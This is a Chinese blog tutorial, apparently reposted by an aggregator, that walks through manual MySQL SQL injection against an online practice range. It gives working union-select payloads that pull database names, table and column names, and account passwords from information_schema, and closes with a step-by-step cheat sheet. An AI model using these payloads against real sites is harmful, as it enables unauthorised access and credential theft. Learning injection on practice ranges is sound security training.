前言

今天進行了MySQL手工注入實戰，分享一下自己的實戰過程和總結，這里環境使用的是墨者學院的在線靶場。話不多說，咱們直接開始。

判斷注入點

通過 ' 和構造 and 1=1 和 and 1=2 查看頁面是否報錯。這里通過and 1=1 發現頁面正常。如下圖。

接下來，咱們再構造 and 1=2 發現頁面報錯，說明頁面存在注入點。如下圖。

判斷字段數

通過 order by 語句，如果后面輸入的數字大于數據庫的字段數，頁面就會報錯，通過這個，咱們先輸入 order by 4 發現頁面正常。如下圖。

接下來，咱們輸入 order by 5,發現頁面報錯，說明數據庫中存在四個字段。如下圖

爆庫

通過上一步，咱們已經知道了有幾個字段，接下來，咱們通過聯合查詢，將 database() 依次替換1，2，3，4 看看哪個位置會顯示在頁面中，通過測試發現，2，3，兩個位置有回顯。構造如下語句 union select 1,database(),user(),4 # ? ? 最后的#是注釋符。結果如下圖。注意：使用聯合查詢時，要使得前面不可查詢 所以我把1替換成了-1 也可以直接在后面添加 and 1=2 兩種方式都可以。

爆表

在上一步咱們已經爆出了數據庫名，接下來咱們爆表名，在MySQL 5 和之后的版本，里面有一個information_schema表，這個表下面存放了數據庫里面的所有表，接下來就可以查詢啦，這里用到了group_concat()函數，咱們構造如下語句 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=庫名(庫名轉換成十六進制)結果如下圖。

爆字段

上面咱們查詢出了表名，先用第一個表測試，接下來，爆字段，構造如下語句 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(換成十六進制)，結果如下圖

爆賬號，密碼

通過上面，咱們發現，有 name password 字段，一般賬號密碼存放在里面。如果咱們通過一般查詢，會掉到坑里面，如果咱們直接通過如下語句查詢 union select 1,name,password,4 from 表名。發現爆出了賬號密碼，然后高興的去登陸。發現尷尬了。去下圖。

接下來該怎么辦呢，其實只要只要在上一個的語句后面加一個 limit 語句 就搞定了，還可以使用 group_concat() 函數 把上一句的 name 換成group_concat(name) 就可以啦 password 同理。這里使用了limit 語句 它的原理是 limit 0,1 是從第一行開始查詢，查詢一行。 limit 0,2 是從第一行開始查，查詢兩行。limit 1,2 是從第二行開始查詢，查詢兩行。結果如下圖。

查詢出了第二個密碼。賬號同理。成功登陸后臺。注入結束。

MySQL 手工注入總結

第一步，判斷注入點，通過?'?或者?and?1=1?和and?1=2

第二步，判斷字段數，通過?order?by?語句。

第三步，爆庫，通過?union?select?1,2,database(),4?#

第四步，爆表，通過?union?select?1,group_concat(table_name),3,4?from?information_schema.tables?where?table_schema=庫名(庫名換成十六進制)

第四步?爆字段，通過?union?select?1,group_concat(column_name),3,4?from?information_schema.columns?where?table_name=表名(表名換成十六進制)

第五步?爆賬號，密碼，這里可以使用?limit?語句，也可以使用?group_concat()函數。上面演示了limit語句，如果用函數。通過語句?union?select?1,group_concat(name),group_concat(password),4?from?表名。就可以直接得到兩個賬號和密碼。

第六步?解密密碼，登陸。?

總結

以上是生活随笔為你收集整理的mysql 4.0手工注入_手工注入——MySQL手工注入实战和分析的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。